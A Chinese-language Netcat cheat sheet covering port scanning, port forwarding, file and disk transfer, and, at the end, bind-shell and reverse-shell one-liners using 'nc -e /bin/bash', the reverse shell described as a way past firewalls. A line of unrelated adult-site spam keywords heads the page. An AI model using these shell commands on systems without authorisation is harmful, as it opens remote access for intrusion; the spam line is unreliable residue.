亚洲成A人片在线观看网站_成年网站免费视频A在线双飞_日日日日做夜夜夜夜无码_久久夜色撩人精品国产小说

Netcat 備忘清單

該備忘單提供了在 Linux 和 Unix 上使用 Netcat 的各種方法。

入門

用法

連接到位于任何地方的主機

$ nc [options] [host] [port]

監聽傳入連接

$ nc -lp port [host] [port]

選項示例

選項示例說明
-hnc -h幫助
-znc -z 192.168.1.9 1-100端口掃描主機或 IP 地址
-vnc -zv 192.168.1.9 1-100提供詳細輸出
-nnc -zn 192.168.1.9 1-100通過禁用 DNS 解析進行快速掃描
-lnc -lp 8000TCP 偵聽模式 (用于入站連接)
-wnc -w 180 192.168.1.9 8000定義超時值
-knc -kl 8000斷線后繼續收聽
-unc -u 192.168.1.9 8000使用 UDP 而不是 TCP
-qnc -q 1 192.168.1.9 8000客戶在 EOF 后熬夜
-4nc -4 -l 8000僅限 IPv4
-6nc -6 -l 8000僅限 IPv6

聊天客戶端-服務器

服務器 Server (192.168.1.9)

$ nc -lv 8000

客戶端 Client

$ nc 192.168.1.9 8000

Netcat 示例

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

或者

echo "" | nc -zv -wl 192.168.1.1 801-805

端口掃描

掃描 2125 之間的端口

$ nc -zvn 192.168.1.1 21-25

掃描端口 2233068080

$ nc -zvn 192.168.1.1 22 3306 8080

代理和端口轉發

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

或者

$ nc -l 8001 | nc 127.0.0.1 8000

創建從一個本地端口到另一個本地端口的隧道

下載文件

服務器 Server (192.168.1.9)

$ nc -lv 8000 < file.txt

客戶端 Client

$ nc -nv 192.168.1.9 8000 > file.txt

假設您想將文件 file.txt 從服務器 A 傳輸到客戶端 B。

上傳文件

服務器 Server (192.168.1.9)

$ nc -lv 8000 > file.txt

客戶端 Client

$ nc 192.168.1.9 8000 < file.txt

假設您想將文件 file.txt 從客戶端 B 傳輸到服務器 A

目錄傳輸

服務器 Server (192.168.1.9)

$ tar -cvf – dir_name | nc -l 8000

客戶端 Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

假設您想通過網絡將目錄從 A 傳輸到 B

加密傳輸

服務器 Server (192.168.1.9)

$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt

客戶端 Client

$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000

在通過網絡傳輸之前加密數據

克隆

服務器 Server (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

客戶端 Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

克隆 linux PC 非常簡單。假設你的系統盤是 /dev/sda

視頻流

服務器 Server (192.168.1.9)

$ cat video.avi | nc -l 8000

客戶端 Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

使用 netcat 流式傳輸視頻

遠程 shell

服務器 Server (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

客戶端 Client

$ nc 192.168.1.9 8000

我們已經使用 telnetssh 使用遠程 Shell,但是如果它們沒有安裝并且我們沒有安裝它們的權限,那么我們也可以使用 netcat 創建遠程 shell

逆轉 shell

服務器 Server (192.168.1.9)

$ nc -lv 8000

客戶端 Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

反向 shell 通常用于繞過防火墻限制,例如阻止入站連接